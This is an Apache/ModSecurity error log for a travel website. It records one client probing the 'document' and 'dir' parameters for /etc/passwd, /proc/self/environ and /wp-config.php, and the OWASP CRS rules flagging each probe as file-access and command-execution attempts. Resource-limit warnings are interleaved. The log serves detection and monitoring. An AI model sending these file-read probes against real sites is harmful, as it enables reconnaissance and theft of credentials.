[Fri Jul 17 08:55:55.362188 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:document: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6spgAAABQ"]
[Fri Jul 17 08:55:55.362234 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:document: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVygAAABM"]
[Fri Jul 17 08:55:55.362575 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6spgAAABQ"]
[Fri Jul 17 08:55:55.362676 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.362711 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw_wooI4qY7Jg93pVygAAABM"]
[Fri Jul 17 08:55:55.362794 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.362955 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw0gVnBK6wAv37w6spgAAABQ"]
[Fri Jul 17 08:55:55.363076 2026] [security2:error] [pid 2030955:tid 2030955] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw_wooI4qY7Jg93pVygAAABM"]
[Fri Jul 17 08:55:55.364512 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:document: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFwAAABk"]
[Fri Jul 17 08:55:55.364625 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:document: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFwAAABk"]
[Fri Jul 17 08:55:55.365087 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QFwAAABk"]
[Fri Jul 17 08:55:55.365210 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.365524 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgww7FYe46zHK_jL3QFwAAABk"]
[Fri Jul 17 08:55:55.370826 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:document: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AugAAAAU"]
[Fri Jul 17 08:55:55.370940 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:document. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:document: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AugAAAAU"]
[Fri Jul 17 08:55:55.371474 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgwxAi3pC6yjXGNq2AugAAAAU"]
[Fri Jul 17 08:55:55.371599 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.371885 2026] [security2:error] [pid 1993668:tid 1993668] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgwxAi3pC6yjXGNq2AugAAAAU"]
[Fri Jul 17 08:55:55.380706 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.390983 2026] [hostinglimits:warn] [pid 2030804:tid 2030804] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030804) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.392811 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.406661 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.416080 2026] [hostinglimits:warn] [pid 2013809:tid 2013809] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013809) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.416080 2026] [hostinglimits:warn] [pid 2030955:tid 2030955] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030955) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.427689 2026] [hostinglimits:warn] [pid 2030774:tid 2030774] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030774) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.430832 2026] [hostinglimits:warn] [pid 1993668:tid 1993668] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993668) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.434851 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:dir: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPEAAAAAA"]
[Fri Jul 17 08:55:55.435400 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw7EWOaI5pmYo9fnPEAAAAAA"]
[Fri Jul 17 08:55:55.435495 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.435810 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw7EWOaI5pmYo9fnPEAAAAAA"]
[Fri Jul 17 08:55:55.438822 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "wp-config.php" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: wp-config.php found within ARGS:dir: /wp-config.php"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS9AAAAB4"]
[Fri Jul 17 08:55:55.439431 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw1CBpfuYyhJ140vS9AAAAB4"]
[Fri Jul 17 08:55:55.439540 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.439809 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw1CBpfuYyhJ140vS9AAAAB4"]
[Fri Jul 17 08:55:55.441081 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:dir: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBhgAAABs"]
[Fri Jul 17 08:55:55.441166 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:dir: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBhgAAABs"]
[Fri Jul 17 08:55:55.441600 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw6quHSHoCJK_V0SBhgAAABs"]
[Fri Jul 17 08:55:55.441707 2026] [hostinglimits:warn] [pid 2018767:tid 2018767] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018767) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:55.441984 2026] [security2:error] [pid 2018767:tid 2018767] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=5,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgw6quHSHoCJK_V0SBhgAAABs"]
[Fri Jul 17 08:55:55.446445 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: etc/passwd found within ARGS:dir: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QGQAAABk"]
[Fri Jul 17 08:55:55.446570 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "etc/passwd" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: etc/passwd found within ARGS:dir: /etc/passwd"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QGQAAABk"]
[Fri Jul 17 08:55:55.446770 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/environ" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "98"] [id "930120"] [msg "OS File Access Attempt"] [data "Matched Data: proc/self/environ found within ARGS:dir: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sqAAAABQ"]
[Fri Jul 17 08:55:55.446849 2026] [security2:error] [pid 2013809:tid 2013809] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:dir. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:dir: /proc/self/environ"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgw0gVnBK6wAv37w6sqAAAABQ"]
[Fri Jul 17 08:55:55.447128 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/"] [unique_id "almgww7FYe46zHK_jL3QGQAAABk"]
[Fri Jul 17 08:55:55.447237 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
